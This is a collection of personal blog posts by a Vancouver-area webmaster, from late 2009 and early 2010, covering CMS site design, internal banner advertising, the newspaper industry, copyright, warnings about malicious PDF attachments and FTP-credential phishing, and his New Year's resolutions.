Despite IIS (Microsoft's web server) Apache, the open source web server, has grown to be the most used web server in the world
PHP has grown to be the language of choice for active web sites in general and CMS sites in particular
Cascading Style Sheets (CSS) has become a powerful method of achieving good control over content layout despite the differences in browsers, video screen sizes and underlying hardware capabilities (think of the differences between a 16x9 wide screen vs. the screen of an iPhone and understand that CSS can deal with them)
Template engines have been created that enable programmers to create supremely sophisticated systems that still have excellent core security and useability characteristics.
The search engines and their ever-changing algorithms now influence much of the way that web sites in general do things.
And last but not least - the "hacker" culture has been taken over by organized crime and security "hardening" is no longer just a matter of using good passwords.

All of the above must be taken into consideration when you are trying to get the most out of your web site, no matter how it is created. A professional webmaster is constantly learning about the new search requirements, new features and "gotchas" in page layout and tools, and potential and real security threats. No matter how your site content is created and managed, you still need someone who watches the overall web system your site is part of, be it a generic hosted system with a Cpanel front-end, or your own in-house or server-farm server system. A single change to the wrong setting can make your site vulnerable to attack or make your site unreadable to some of your valuable customers and potential customers.

If nothing else, you probably need a professional webmaster to translate the answers you get from the tech support for your server location. Seems that's something some of my customers value the most :)

No Shelves in the Internet Library

Richard Pitt — Thu, 07 Jan 2010 00:01:44 -0800

Yesterday I pointed you at a lecture by Clay Shirky about some of the outfall of the dying of newspapers. I'd read a bit by Shirky before but got digging around in his blog and came across an item that put into words a concept that I've been trying to teach to my web customers over the past couple of years.

Shirky's Ontology is Overrated: Categories, Links, and Tags elegantly explains why some/many web sites need to forget, or at least not be too pedantic about, correctly categorizing via the topics and other directional methods (menus, directories, sitemaps, etc.) the information they accumulate. You see, unlike libraries where the card catalog is the key to finding where on the shelves a particular book is, the internet has no shelves and the index (search engines) can find anything on any page of any site far easier than you can find a book in the card catalog, and the internet can show you the page and (a lot) more like it faster than you can get to the shelf for a single book.

Most recently this came up in a discussion about whether a specific home page layout should be continued for a site. The site is huge, and the "cover page" was terse and failed to point up anything that had changed or been added or that was significant on the site. It was just a cover page, like you'd find on a magazine.

When this particular site was first put together, not even 3 years ago, this concept was still fairly common and so we used it.

In a recent re-work of the site, I dropped the cover page and went with the system-generated one that shows much of what is going on minute-by-minute on the site - and took advantage of the CMS underlying the site to add similar information in the borders of virtually every page. The reason for doing this is that the analysis of "landing" pages we get from Google Analytics and our own in-house analyzer shows that the home page gets less than 10% of the number of incoming "landings" of several of our other pages. People are coming to our site in wonderful numbers - but they are going directly to pages that have relevance to their own searches through the various search engines, or their bookmarks from previous visits. In effect the site has many "home" pages.

The other discussion I've had is with moderators of the site's discussion forum. The forum has been almost minutely categorized and the moderators work hard to keep the postings in their correct category - a lot of work, and something that our move to some different software is both making harder and in some instances completely breaking.

The opinion I expressed to the moderators was that a few errant posts was not grounds to get really upset - yes, the posts were off topic but aside from the readers of the topic itself, there really wasn't any reason to care:

the post was of no consequence, ignored by the readers in their daily intercourse with the site and never seen again as it and the rest of the posts found their way into the archives.
the post was of consequence to someone at some time, but ignored by the daily readers and found at some later time through a search engine
the post irritated the readers of that topic enough that they would complain to the author and maybe ask a moderator to remove it (and at the moderator's whim move it to where it was relevant)

The second point above is what I'm talking about - even though the post was mis-categorized (by the author - and not re-categorized by the moderator) its content is not lost to posterity! The search engines know it is there, know its key words, and can find it any time in the future as long as it remains online at the same URL. In fact, if the post is moved after the search engines have already seen it, moving it can make its subsequent re-finding a problem because the new URL would be different from the old one, the search engine might note that there was duplication and ignore the second URL in favor of the first, and the information subsequently lost to posterity. At minimum the searching party would have to figure out which entry was correct.

The only negative about leaving the off-topic post (or mis-filed post) where it sits originally is that a subsequent viewer who found it would not directly find other relevant posts along with it. They would find the real-topic posts which were not related. Back to the search engine to find the real topic area.

Shirky's article goes on to highlight collections for which ontological classification doesn't work well:

Domain

* Large corpus
* No formal categories
* Unstable entities
* Unrestricted entities
* No clear edges

Participants

* Uncoordinated users
* Amateur users
* Naive catalogers
* No Authority

Much as I hate to say it - in this case these criteria come pretty close to matching the facts with the site. It is huge, has many self-appointed posters (uncoordinated users) most of whom had little or no exposure to the site's topics prior to joining, and few have any authority to make changes.

Is your web site huge? Does it have pages that get as many or more landings than your home page?

If your answer to these questions is yes, then you need to think about how to ensure your casual visitors find their way to some of the other pages you present, because if you don't you'll find them simply flying in, landing on the page that the search engine presents them, and flying out again without possibly answering their real question about the topic that got them there in the first place, even if it is a topic your site is expert in.

From Subscription to Donation - Accountability Journalism is Changing

Richard Pitt — Wed, 06 Jan 2010 09:50:29 -0800

I just spent about an hour listening to Clay Shirky, a New York University "Internet Thinker", talk about what is happening to the newspaper industry as it struggles with the online world and the changes to its market.

My morning newspapers of the past have shrunk to a single one because their individual sizes did not add up to what one used to be - so we cut back to one and find more news on the web instead. With the crop of new e-book readers being shown this week in Las Vegas at the I may find one that will satisfy both my wife and myself for sitting at the breakfast table - then we'll cancel the last remaining one.

The problem Clay Shirky talks about is not the fact that the newspapers are dieing - but that the whole industry is fragmenting and we, the consumers who purchased the newspapers in the past, have to work harder to find our reliable sources of "commercial, long-range" journalism (as opposed to opinionism which is so rampant on the web, this blog being not much different).

Without the money generated from the newspaper's captive advertising market - where the advertisers paid because there was no alternative - there simply isn't any incentive, let alone money, for the types of journalism that exposed things like the Watergate affair or the Catholic church covering up pedophilia in their numbers. So the question is - who is going to replace the newspapers in doing "accountability journalism"? How are they going to be funded? Will the exposure-style of journalism die?

What has happened is that the "chaos scenario" of the online world has broken the centralized concept of news gathering - and spread the function around to individuals and relatively small online publications intensely interested in specific topics.

"You don't go to the (New York) Times - you go to the story" says Shirky. The fact is that if the story is on a private blog, put there because the blog owner spent the time themselves to research it and write it, the story still exists.

Newspapers, through the fact they provide the beat reporters who daily visit the courthouses and city council chambers of our land, have kept our politicians and bureaucrats honest - at least partly. They've kept our public companies and non-governmental institutions honest. They've had a tremendous influence on what our world has looked like over the years. What will happen when they no longer can afford to fund the beat reporter?

Well, the fact is that the beat reporter likely noticed that they were not the only ones visiting the courthouse, council chambers, investment houses, daily. In each location they'd see someone who may have gotten there before them and left after them - who was in fact dedicated to watching (some would say harassing) the particular institution - because there are people like that. Today those people have the ability to relate their tales on their chosen subjects in a forum that the search engines visit - and that the public can and will visit if/when something relevant to their lives comes up.

How do we, the viewing public, encourage such dedication? The fact is that the facility to find and display relevant and worthy "advertising" per se is not yet working well enough to directly fund many of these pigeon-hole sites. The newspapers, responsible for 85% of the general news gathering, found that as few as 6-8% of their traditional readership would pay to read their content online - and in their eyes this is simply not enough.

The model that does work fine with 6-8% of the market funding them today is the likes of National Public Radio (NPR) - supported by donation!

If you find good information about something you are interested in, you might consider making a donation to the organization that found it and reported it. Try really hard to find out the originator of the information.

If you find a publication online that attracts you consistently, regardless of whether they are originators of "news" or simply agregaters or opinionaters, you might consider supporting them too. Doing this "for the love of it" will wear thin for many in the coming months and years - and we need some encouragement that it is worth while continuing.

The capitalist system will eventually winnow out the best-of-breed in the new news gathering and generating industry. Maybe some of the newspapers will continue - but I'm betting that few of them will look anything like the ones of the past 100 years.

richard

Tag: accountability journalism journalism newspaper advertising donation blog e-book

Internal Web Advertising HowTo

Richard Pitt — Tue, 05 Jan 2010 08:32:39 -0800

So you've made the decision to move your site to a CMS and have gone ahead and done it. The site is growing, and you have new features you want to promote to visitors. You want to lower the "bounce" rate (% of people who look at one page and then "bounce" out of your site to somewhere else) so your site's overall page views goes up, even if the number of people coming to the site does not grow (we'll grow it in another article). How can you do this?

One way is to use the automated structure of the CMS to put random ads about your site's features in front of viewers. Lee Garner's Banner Plugin for glFusion is an excellent way to do this. Other CMSs have similar functions, or you can make use of the OpenX advertising software to do it too.

The first thing to understand about web sites today is that many visitors never even see your front page. It used to be that the home page was the most visited page on your site - it lead to the rest of the site. Not today! Today, visitors go to their favourite search engine and type in the key words they're looking for - and then they go directly to the content they are looking for from the search engine of their choice - deep linked into your site by the robots that have scanned it and found the various pages. I have some customers who have specific pages that get over 10 times the "landing" visits their home page gets.

This means that you need to provide reasons to look at the rest of your site on (almost) every page of the site - and that you can use statistics to vary the message so you will at least catch some people sometimes with something that interests them. Then you can analyze what worked well and increase the frequency of its use.

OK - the first thing to do is come up with reasons why people should look at other areas of your site. These can be literally anything and everything. Come on, surely your site has something interesting in it - interesting to someone - otherwise why have the site in the first place?

In general you probably should resist at this point highlighting products unless you have pages that deal with stuff completely different from your core business. An example might be where you sponsor a baseball team or some other activity. The pages that deal with your sponsorship should probably get some real advertising of your core products and services.

Other pages - support, contact us, even product specific pages - all should get little random notes about other features and areas of your web presence and/or your physical presence and people.

So list out the features you want to highlight: (I'm going to do this for the Hancock Wildlife Foundation, since I'm going through exactly this for their volunteers and it is an excellent and massive site)

Highlight each article topic - there are currently 19 of them
Highlight each camera location
Highlight each website area - news, cameras, media gallery, forum, calendar
Highlight "ageless" articles - articles that may have fallen off the front page but are relevant all the time
Highlight media gallery contributors and their work
Highlight the volunteer organization - and how/why to get into it
Highlight the various other areas on the typical web page and why it is there (goes along with deciding if it should be there or not)
Highlight specific reasons why the foundation exists
Highlight membership and why it is good to be a member
Highlight our sponsors and other benefactors

In the case of your corporate web site you might consider highlighting a department or even specific employee. You can also highlight locations if you have more than one - or features about your location (parking, access, privacy, etc.)

Once you have identified the features you want your casual viewer to notice, create the words you will use for one or more internal "ads". At this point you can do one of two things:

Create simple HTML ads (I use Seamonkey's composer function - this is an offshoot of the Mozilla foundation who brings you Firefox and other open source applications) with a consistent basic format and add them to the banner facility with links pointing to the various features you highlight
Create one or more custom basic graphic banner backgrounds in a common theme and use them as the templates for your internal ads.

You might start off with #1 above to try out various words and phrases to see which are more effective. If you have strict formatting policies then you'll want to go with #2 right off the bat but you can still use the basic templates to put many different word combinations together to judge effectiveness. Don't forget to try slightly different graphics too - some people completely miss some types of graphics as they blend into the background of other ads or content. You want to make your messages stand out enough that the viewer notices them. I tend to like a bit of red in my messages for example. Just use it judiciously and vary the color from time to time so it does not get "worn out".

Create the banners and place them on your site - where, and how to "weight" them, will be the subject of the next article.

Tag: banner seamonkey composer mozilla internal advertising bounce page landing page seo glfusion cms website webmaster

Watch Out for Nasty PDFs in your Email

Richard Pitt — Mon, 04 Jan 2010 08:24:21 -0800

As many of my readers know, I keep in touch with various computer security lists and try to winnow out the really nasty ones that might affect even careful people.

It's not that I distinguish careful from not-so-careful people - just that everyone should be on the lookout for nasty things in general using their common sense - don't allow your email program to open attachments on its own or bring in web pages on its own - and don't open or retrieve stuff from anyone who you have not checked with some other way is actually sending you something.

It's kind of like the difference between the US/European way of "detecting" terrorists on our airplanes vs. the way that the Israelis do it:

The US/Europeans check every piece of luggage, scan all your shoes, and now want to scan your body with full body scanners - they look for everything everywhere. This wastes a lot of manpower and as we've seen this past Xmas, it is not all that effective - but it sure uses up a lot of manpower and you spend hours in the lines.

The Israelis check you 6 times from the time you get to the airport to the time you get on the plane - but each and every time they look in your eyes, because that is where they see whether you are truly just a passenger, or are someone trying to hide something. Their airport waiting time is less than 30-40 minutes. I know - I've been through it.

Read this article for more on the difference as far as the airlines is concerned

You need to "look in the eyes" of everything on the internet that has the potential to damage you and your computer - look at what it is that it is trying to do.

Read on for details of this nasty-gram

PDF, virus, anti-virus, internet storm center, SANS, israelification, airport security, email security, facebook, viagra, attachments, webThe Internet Storm Center is detailing a surge in nasty PDF attachments to email that is not detected by most of the virus scanners they test (only 6 out of 40)

The documents exploit a vulnerability in Adobe Reader and Acrobat 8.0 through 9.2 and maybe earlier versions. The emails have been seen starting in December and continuing to date.

Subjects of these PDFs include:

note200911.pdf
note_20091210.pdf
Outline of Interview.pdf
merry christmas.pdf
and one with Chinese characters in it - which unless you're Chinese I'd hope you would not open in any case

I've received several of these myself - along with a huge number of "New login system" from facebook (and Facebook account update and others) as well the typical batch of viagra and other drug ads.

The spammers and hackers are getting better. More and more of their messages are evading the spam checkers as being composed of legitimate-sounding prose. The hackers and others wanting you to open their attachments are also getting better at masking themselves behind what appears to be legitimate incoming email and legitimate web sites and ads.

The bottom line is - keep your Anti-Virus up to date but use your common sense - even the AV people don't always get it right.

Tag: pdf virus anti-virus internet storm center sans israelification airport security email security facebook viagra attachments web

Banners on Your Content Managed Web Site

Richard Pitt — Sun, 03 Jan 2010 07:20:04 -0800

If you are going to attract and retain viewers (and hopefully customers) to your web site you need to not only ensure it has what the viewers want, but that they can find, and find out about, what it contains.

A content managed web site has the potential to grow quite large. Some of my customers have sites with hundreds and even thousands of pages accumulated over a period of years. Others of course have sites with large numbers of products and the description pages for those products. Your site may not start out all that large, but you need to be prepared to give your viewers information about what it contains and why they should visit other parts than the one or two pages they've found themselves.

This is where the additional aspects of the content managed system come into play. In the case of glFusion, the CMS I use the most, this takes the form of using things like banners and tags and additional menus, and putting them together in a fashion that presents the rest of the site to the casual viewer so they stay longer and dig deeper.

The banners module for glFusion, written by Lee Garner, is almost a mini version of the OpenX advertising software that I use to host advertising for my customer sites. It allows the inclusion of a graphic banner, HTML, or javascript into various places in the site, governed by "weight", date and time as well as topic and whether a story is featured or not. It can be worked into the templates from other plugins so that banners can show up almost anywhere.

In the simplest example I've used the banners function to add internal advertisements for David Ingram's live video program to the CEN-TA tax site. The banners are at the top of each page currently, as well as on the right side top of the featured story, where the top story of each page is always "featured" (a setting in the theme of the site). These ads are simple HTML pieces, a table that defines the width and some text in Red and Black. Later we'll put together some graphics versions of these but for now we're testing the wording and placement for best effect.

The great thing about the banner module is that it will present one of a set of banners randomly. If you create several/many for the same spot, the banners show up based upon their "weight" (a number from 1 to 10 where 1 is low priority, 10 is high, and default is 5) - so viewers will likely see something different each time they visit the site or open a different page.

This randomness keeps your site fresh and hopefully inviting - and allows you to present different aspects of your web presence to viewers who might otherwise skip directly to a particular page because that's what they found in Google - then leave (bounce) immediately. Your "time on site" statistics will get better as your viewers read more and more pages and get more of an idea of what it is they might need/want from you.

richard

Tag: banner random glfusion advertising time on site pages viewed statistics impressions

Public Domain Day - January 1

Richard Pitt — Sat, 02 Jan 2010 09:09:54 -0800

January 1 is public domain day. Each year the works of artists and authors and others whose works fall under the copyright act in the countries of the world who died X years ago fall into the public domain. The problem is that X is a number that has been changed from time to time, and currently here in Canada it is life plus 50 years.

Check out the postings at Wallace McLean's site, as well as the ones at Duke University and the Creative Commons site.

My personal take on this is that again, the business world is trying to use their powers of persuasion with government to protect their old business instead of finding and creating new business. The concept of Copyright is a balancing act - balancing the right of a creator (note - not a publisher) to make money from their creations for their lifetime with the rights of society to learn in the long term from the works of the past. This is not just about artistic works, but about all copyright items including things like letters and private works that might describe a past we no little about.

If anything, I'm in favor of changing copyright to allow publishers to pay to extend its term - and pay a lot, as in a percentage of the earnings of the item in question - to the public purse. This would bring it somewhat in line with the patent system where extensions in many jurisdictions may be purchased.

I'm certainly not in favor of extending indefinitely the term after death just to allow the music industry to keep making us pay to hear Buddy Holly and the Big Bopper. These things need to pass into the public domain at some point. The current trend is to nail the period to somewhere around the start of the communications revolution when radio, TV, recordings and photography began their rise.

For an outstanding look at a world where copyright extensions have gone to the extreme, I recommend reading my friend Spider Robinson's short story, Melancholy Elephants, (read it online - under the Creative Commons license)

"'Ars longa, vita brevis est,'" she said at last. "There's been comfort of a kind in that for thousands of years. But art is Iong, not infinite. 'The Magic goes away.' One day we will use it up --unless we can learn to recycle it like any other finite resource." Her voice gained strength. "Senator, that bill has to fail, if I have to take you on to do it. Perhaps I can't win-- but I'm going to fight you! A copyright must not be allowed to last more than fifty years--after which it should be flushed from the memory banks of the Copyright Office. We need selective voluntary amnesia if Discoverers of Art are to continue to work without psychic damage. Facts should be remembered--but dreams?" She shivered. ". . . Dreams should be forgotten when we wake. Or one day we will find ourselves unable to sleep. Given eight billion artists with effective working lifetimes in excess of a century, we can no longer allow individuals to own their discoveries in perpetuity. We must do it the way the human race did it for a million years--by forgetting, and rediscovering. Because one day the infinite number of monkeys will have nothing else to write except the complete works of Shakespeare. And they would probably rather not know that when it happens."

The world in general and artists in particular need to know that copyright will eventually end - because otherwise the artist becomes paranoid that the work they've created is in reality something they saw or heard in their past - or in fact is something that pre-existed but is so "right" for a particular mood or concept that the could not help but re-create it - and they'll get sued for it.

Art builds upon the backs of previous artists. Today's painting techniques grow out of the ability to view and comment upon prior paintings from prior times. Same thing with music and even (especially) computer programs (don't get me going about patenting computer programs - suffice it to say I'm against it) - so holding copyright over the heads of those who wish to build upon that past is just plain wrong.

Lobby your politicians, wherever they are - and get them to read Spider's work if nothing else.

richard

Tag: copyright public domain spider robinson melancholy elephants

New Beginnings and Old Issues

Richard Pitt — Fri, 01 Jan 2010 09:19:44 -0800

OK - Yesterday I gave you the background to my New Year's resolutions so here they are - January 1, 2010:

The first thing I'm going to do is vow to get more exercise
I vow to keep the area around my weight machine clear of clutter so I can get to it and use it
I vow to walk or bicycle for at least 15 minutes every day, and failing that, I vow to do 1/2 hour of work around the house
I vow to take a real vacation this year
I vow to publish something every day
I vow to consolidate the things I do and concentrate on a much smaller number of subjects
I vow to "get out more" and at least try to restart the gatherings I and my peers in the technology community had in our Brunix monthly gatherings

Today is the first day of the new year - and true to form, here is today's writing.

I spent the last couple of hours of 2009 and the first few minutes of 2010 with some friends at my internet partner's home in Port Moody last night. Along with the typical pleasantries and putting up with the 5 dogs they have (dogs are fine, as long as they're someone else's) I got talking with a couple of the people who are on the Brunix mail list about the fact that we have not had a gathering for about a year now. Can't even remember when the last one was!

So, today I'm going to get the mail list back in order and send out some invitations for some time "the second week" (we used to be "second Wednesday" but too many people have stuff going on on Wednesday at the moment it seems - including yours truly) and we'll see how far we get.

The Brunix organization - a loose set of (ex) geeks and other computer and internet and beer afficianados has been going for something in excess of 15 years, ever since the local BC Unix Users Group stopped having its monthly rubber chicken meetings at the Bayshore Inn in Vancouver.

A couple of tables-full of we tech-oriented people (the rest were upper management and marketing types from the likes of Sun and other Unix vendors and customers) decided we liked the idea of getting together every month but didn't need the fixed venue. Beer was the common theme, so Beer and Unix became BRUNIX - and we were off.

Most of our meetings/gatherings have been at one of the various brew-pubs around the Vancouver area, with the occaisional forray into szechuan chinese food or other exotic spots, as long as the list of available beers is reasonable.

We have a facebook group "Brunix" (amazing that there are actually several groups by this made-up name as well as quite a number of people - did we coin it first I wonder?) and so far it has a couple of members from outside the Vancouver area too - interesting!

Tag: brunix beer unix linux vancouver

Not Quite A New Decade - But Happy New Year

Richard Pitt — Thu, 31 Dec 2009 09:20:09 -0800

A new year is coming - and some say a new decade. Much as I love "new beginnings," especially when the old things have been truly depressing, the new decade is still a year away. We had this discussion back in 1999 - when does the new decade (or in that case century) really begin? Most people like to assume that as soon as the last digit in the year is zero, the decade has begun - but in reality we have to wait another year - because there was never a "year zero" - AD began with year 1. So 2011 will be the beginning of the new decade and 2010 is the last year of this one.

Be that as it may, we've gone through quite a bit in the past 9 years - from 911 and the "dot bomb" financial era, through a period of intense investment and real estate boom that was "interesting," to the current period of "retrenchment".

Along the way the technology of the internet has kept coming up with things that affect our daily lives and that continue to wreak havoc on traditional business practices. I've written about some of the changes in things like copyright and digital rights, and I've pointed out some of the other changes in marketing and general business practices like work-at-home and other small business concerns.

Today is a day for formulating New Year's resolutions - and tomorrow is the day we vow to keep them.

Over the past few months I've been doing quite a bit of soul searching on what I want to do "when I grow up," but I'm never going to grow up, so the problem really has not raised its head yet.

Yesterday I came within a year of being 60 - and spent some time thinking about what I'd been doing since I turned 30, the last "big milestone" I really celebrated in my life.

All of this is coming together - a decade change, a life event, the internet changing business, and I'm in the middle of it. I love it!

The first thing I'm going to do is vow to get more exercise, no matter whether it is raining or snowing or too hot. I've spent the past 13 years as a type 2, diet controlled diabetic. In the first several years I took the bull by the horns, lost 40 pounds (in about 6 months) and kept it off. Over the next 10 years I lost a further 10 lbs and have now reached the target weight my doctor gave me - 195 lbs. The problem is that the weight is starting to disappear from my muscles and reappear on my stomach - so I guess I'd better do more exercise. To that end I've made my next vow.

I vow to keep the area around my weight machine clear of clutter so I can get to it and use it. One of the insights into diabetes that my internist gave me is that muscle is a good thing to have - just having it burns up calories, even if you are not actively using it at the time - it heats up and the heat is the result of burning calories. It is not necessary to be able to use the muscles for long periods of time (i.e. have good endurance) but merely to have them - so weight training is a "good thing." On the other hand, good cardio-vascular exercise is necessary for the heart and other major organs, so the bicycling I do when the weather is good enough is also necessary - and brisk walking is a good second place. So... my next vow.

I vow to walk or bicycle for at least 15 minutes every day, and failing that, I vow to do 1/2 hour of work around the house. I have a couple of standard walks and standard bike routes around Pitt Meadows and try to get out to walk no matter where I find myself. The problem is that there are some days when going outside is just plain not an option. It doesn't rain or snow that much around here, and most times it does it is actually fairly pleasant - not too hard and not too cold. But sometimes the weather is just plain miserable - those days I have painting and other projects around the house that I can do, many of which we've put off since we moved in on the premise that having the kids around would only make things worse, so we'd put them off until the kids are gone - well, now they're gone and I have no excuse.

I vow to take a real vacation this year. The last real vacation my wife and I had was in 1996, when we went to New Zealand and Fiji for two weeks. Since then we've had a few days here and there, and "I take my vacation an hour or two at a time on the Goldwing motorcycle" - which has been my sop to a vacation ever since. But the middle of December I found myself (not for the first time, but certainly for the most intense time) going around in circles and sitting idle because I could not decide what needed doing next. I was classic "burned out." At that time I took some time and sat and read for a while - and continue to read my "escape" literature, science fiction, every day - otherwise I would be in a rubber room I'm sure. One of my good friends, Vern, has a place in Jamaica that I've looked after his web site for for many years now - and he's offered me a chance to come down there in May. Don't expect me to be around for at least a couple of weeks that month, fair warning :)

But on to things to do with my work and business. What are the things that will make our lives better and that will give me more pleasure in my work and outside activities?

I vow to publish something every day. I enjoy writing and I enjoy the feedback I get from people about the articles and newsletters I write. The problem is that I have such a diverse set of interests and activities that I sometimes just don't get back to one of the web sites or mail lists I maintain for some time - and lose touch with the people. That is going to change because...

I vow to consolidate the things I do and concentrate on a much smaller number of subjects. If you look at the list of topics on this Digital Rag web site you'll see a little bit of what I'm talking about.

Copyright
Digital Rights
Motorcycling
Computers in Use
Government
Digital Cameras
Life
Systems Administration
Video on the Internet
Content Managed Systems

And that's just this web site. I also contribute and/or edit/moderate:

CENTA.COM - income tax and cross-border considerations such as visas and immigration
david-ingram.com - weekly video web-zine
hancockwildlife.org - research, conservation, education - specializing in wildlife cameras
p-zip marketing - small business marketing for real-world businesses in the internet world
bogon.com - spam, phishing, bogus financial deals, etc.
pacdat.net - systems administration, technical webmastering, etc.
You Tube and Blogger sites for some of the above
Facebook and Twitter identities for some of the above
pacdat-news mail list
Brunix mail list
and a number of my other customers' sites where I create content and craft marketing programs

So what does it mean to consolidate all these things? Well, you'll see a lot more here in the Digital Rag - and maybe some reprints in other webs, but for the most part I'll be writing here. Those on the mail lists will be sent pointers to the articles here.

So, having consolidated all my writings and musings to the Digital Rag, what can you expect here?

You can expect me to continue to give you my insight into the world as I see it through my experiences and from my perspective as a technologist and marketer. One of the reasons I'll be writing is so I don't either "go postal" or give in to "road rage" - or shout at politicians and/or other government officials. Writing is my release - and hopefully you, my readers, will take some of what I write about to heart and help fix some of the ills of the world that I might write about.

You can also expect me to find something to brighten your day from time to time. We all need a good laugh and I understand that really laughing hard is good for the body. I'm going to try to find things to laugh about - a lot!

I vow to "get out more" and at least try to restart the gatherings I and my peers in the technology community had in our Brunix monthly gatherings. The brunix mail list has languished and the monthly meetings have stopped. I had hoped someone else would pick up the gavel in organizing these and contributing to them, but that didn't happen. It may be that now that many of us are married, we've lost the incentive we had as a bunch of geeks to somehow find some social points to work on and gather about. Maybe brunix served its purpose for most of us in that we became socialized enough to have a reasonably social life, I don't know - what I do know is that I miss them.

OK - so what are you going to do this new year? Whatever it is - have a HAPPY NEW YEAR!!!

richard

Tag: 911 diabetes exercise brunix burnout resolutions vacation new year

Phshing for Websites

Richard Pitt — Tue, 08 Dec 2009 17:21:47 -0800

It had to happen sooner or later - the phishers (hackers who send out emails or other communications that purport to come from someone you already deal with) are sending out bogus requests for confirmation of FTP (File Transfer Protocol) login and password information.

Once you have answered their call - and given away the keys to your site - they infect your site with their nasty malware and use your bandwidth and reputation to scam others out of their banking information - or put up files for others to download burning up your bandwidth allocation and disk space.

I've seen both Bank of America and Italian sub-titled movies dropped onto computers as well as a host of other nasty stuff.

So, along with bogus notices from Facebook about a new login system - NOT!

and notes from the Royal Bank about changes in my account - NOT!

and zip files containing waybill information or invoices from various shipping companies - NOT!

we now have to worry about others gaining access to our web sites via our webmasters.

Personally I'm glad I have complete control over the machines I host sites on and don't use FTP - I use SFTP and SSH with public/private keys - no passwords ever hit the wires. When will the hosting companies learn that FTP is not secure and should no longer be used.

Old Pitt River Bridges Being Taken Down

Richard Pitt — Mon, 07 Dec 2009 12:32:30 -0800

Yesterday I took a short drive from my home in Pitt Meadows, across the new Pitt River Bridge, to the marina just downstream on the Port Coquitlam side of the river. I was lucky enough to get there just as one of the residents was coming up the dock and he kindly let me go to the end of the warf to take a series of pictures of the dismantling of the oldest of the pair of swing-bridges that the new bridge replaces.

I've stitched them together to make a single shot that shows the whole bridge in huge detail.

The software I used is an open source package called hugin and is available for Linux, Mac and Windows - have fun

Full Size (2.2Mb)

Tag: pitt river pitt meadows bridge crane hugin panorama photo stitch

ACTA Will Change Internet Forever

Richard Pitt — Tue, 01 Dec 2009 09:00:55 -0800

The Anti-Counterfeiting and Trade Agreement (ACTA) treaty negotiations continue in secret - but the word is leaking out and commentary continues to pile up as people (finally) start to understand what it is that the United States is trying to push on the world in the form of a trade agreement. The intrusion into sovereign law by this "treaty" is incredible. itWorldCanada says:

A secret international copyright treaty will impact IT managers just as much as the music and movie industry. Find out what ACTA will do if passed, why it’s even being discussed, and how it might be stopped"

CRTC Wants Your Feedback on Cable vs. Local Broadcast TV

Richard Pitt — Tue, 01 Dec 2009 08:34:16 -0800

Michael Geist - one of my favourite bloggers on Copyright, ACTA and other governmental communications ~~crap~~ initiatives points out that there is an online consultation web site put up by the www.crtc.gc.ca/eng/home-accueil.htm

"Among the different options under consideration, we are studying whether local television stations should be able to charge cable and satellite companies for distributing their programs."

No matter what I personally think - you should put your oar in the water and tell them what you think. Read on for what I think...

Back when "community cable" first started up, it helped the broadcast stations enhance their coverage - for free. In fact, the CRTC fairly early in the game forced the cable companies to carry channels - especially Canadian channels - and substitute in the Canadian version with Canadian ads of shows that were shown both by US and Canadian channels simultaneously.

Now, the broadcasters want the cable companies to pay for the priviledge of doing something they have been mandated to do for years - because the broadcasters are losing ad revenue (to the internet) and need something to bouy up their business model.

Another side to this arguement is that there are lots of "cable only" specialty channels that do get paid by the cable companies - but again many of them are mandated by the CRTC and others don't show any ads so their only income has to be from the fees they get from the cable companies. Maybe if the broadcasters drop the advertising I can see the cable companies paying for them - but then we, the viewers would expect to subscribe and pay extra for them like we do for other "packages".

Nope - as far as I'm concerned the broadcasters are like the buggy whip manufacturers prior to the automobile revolution - they're becoming obsolete and have to move to a new business paradigm. If some/all of them die then so be it. We, as consumers, have chosen cable distribution (and internet distribution) of our video content to such a degree that true broadcast is no longer necessary - so let's get back all that wireless spectrum for use for other things (and I note that the broadcasters also want to extend the time for moving to digital TV broadcast which will tie up the 700 MHz band for an extra 2 years)

So - count me as NO - don't force the cable companies to pay for the broadcast channels as they currently are.

Virus Incubators in the Fraser Valley

Richard Pitt — Mon, 30 Nov 2009 17:13:19 -0800

My good friend David Hancock, a well known biologist and conservationist specializing in birds, almost lost his entire flock of birds back in 2004. We're not talking budgies or parrots (although many of those were on the chopping block at other places not far from David's home on Zero Avenue in South Surrey) but instead are talking some fairly exotic and in some cases endangered birds that David and his staff and researchers raise on his property. These are birds like sandhill cranes, grouse, pheasants, quail and even more exotic, turocos.

So why did he almost lose his flock? Bird Flu - not in his flock of course - but in the flocks of chickens and turkeys that are housed all over the Fraser Valley.

Recently I had the pleasure of hearing David talk to David Ingram on the Around the World video show. I think you'd be interested in hearing what Hancock has to say about the, in his words, "Virus Incubators".

There really is no excuse for why these bird factories are in the Fraser Valley. They could just as easily be anywhere in British Columbia. Why are they in the Fraser Vally? Why are they where millions of migratory birds pass by? Why do the chicken-farmers dump the guano and dead carcasses out on fields where scavengers like seagulls and bald eagles can get them and distribute the potentially lethal viruses to all points of the compass?

Only the government really knows - and so far there has been no response to David's questions in this vein.

Home Based Business Finally Getting Recognition

Richard Pitt — Mon, 30 Nov 2009 12:40:52 -0800

I've been working from home for most of the past 40 years. Some of the businesses I've worked with have had "real" offices - and sometimes I've spent much of my time for months on end going to those offices, but I've always maintained a home office where I've done work.

I've hired people without meeting them face-to-face - and worked with some of them without ever meeting them. Some of my customers do much of their business from their home - and there are major benefits to them because of this; not the least of which is some tax advantages as my good friend, David Ingram, will tell you.

The business world is finally getting to understand that this is a viable way of running businesses. A study recently done by Emergent Research shows just how much impact we home-based businesses(Business Week) have on the economy.

The "Homepreneurs" include some who have more than $500,000 annual revenue with median household income being as much as 50% higher than the typical household ($75,000 vs $50,233) in the US. Many of the respondents to the poll had been in business for more than 15 years (like yours truly) and only 20% had been in their home-based business for less than 5 years.

One of the major things that I've enjoyed in my home-based business is the freedom to go and do pretty much what I want, when I want. The sun is currently creeping around the corner of the blinds in my office, threatening to spill onto my computer screeens after being gone for the past three weeks - and I'm due for a ride in the country on my Honda Goldwing. So.. instead of sitting here and writing more for you all, I'm going out - don't you wish you were able to do that too?

Britain is Off My List of Holiday Destinations - Internet Insanity!

Richard Pitt — Tue, 24 Nov 2009 08:59:05 -0800

I have relatives in Great Britain and I'd love to visit them - but after the recent complete insanity of their "Digital Economy Bill" there is no way I will ever again go there - at least until they repeal any such insane laws. It's bad enough them having so many closed circuit cameras all over the place - but this is too much!

And I vow never to purchase anything that is published by a british media publisher either (I'll purchase directly from an artist though). They've successfully lobbied the British Government to install what I can only call the worst law ever for British consumers. It subverts the courts and gives an appointed commissioner powers that some Kings and Queens have wished for. I wonder if Queen Elizabeth understands that she now has a rival?

